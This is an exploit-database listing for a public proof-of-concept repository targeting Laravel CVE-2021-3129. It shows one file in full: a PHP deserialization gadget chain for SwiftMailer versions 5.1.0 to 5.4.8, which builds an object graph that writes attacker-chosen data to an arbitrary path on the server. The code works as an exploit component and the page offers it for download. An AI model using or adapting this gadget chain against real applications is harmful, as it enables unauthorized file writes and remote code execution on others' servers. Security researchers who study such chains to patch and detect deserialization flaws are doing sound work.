Exploit database

GH-16376e4357f06350aba70a4970a8d451

shadowabi/laravel-cve-2021-3129

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-3129

36 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

gadgetchains/SwiftMailer/FW/1/chain.php

PHP · 1,022 bytes
<?php

namespace GadgetChain\SwiftMailer;

class FW1 extends \PHPGGC\GadgetChain\FileWrite
{
    public static $version = '5.1.0 <= 5.4.8';
    public static $vector = '__toString';
    public static $author = 'cf';

    public function process_parameters(array $parameters)
    {
        $parameters = parent::process_parameters($parameters);

        # \n must be preceeded by \r as per Swift_Signers_DomainKeySigner,
        # line 460
        $parameters['data'] = preg_replace(
            "/(?!\r)\n/",
            "\r\n",
            $parameters['data']
        );

        return $parameters;
    }

    public function generate(array $parameters)
    {
        $path = $parameters['remote_path'];
        $a = new \Swift_ByteStream_FileByteStream($path);
        $b = new \Swift_KeyCache_SimpleKeyCacheInputStream($a);
        $c = new \Swift_KeyCache_ArrayKeyCache($b);
        $d = new \Swift_Signers_DomainKeySigner($b);
        $e = new \Swift_Message($d, $c, $parameters['data']);

        return $e;
    }
}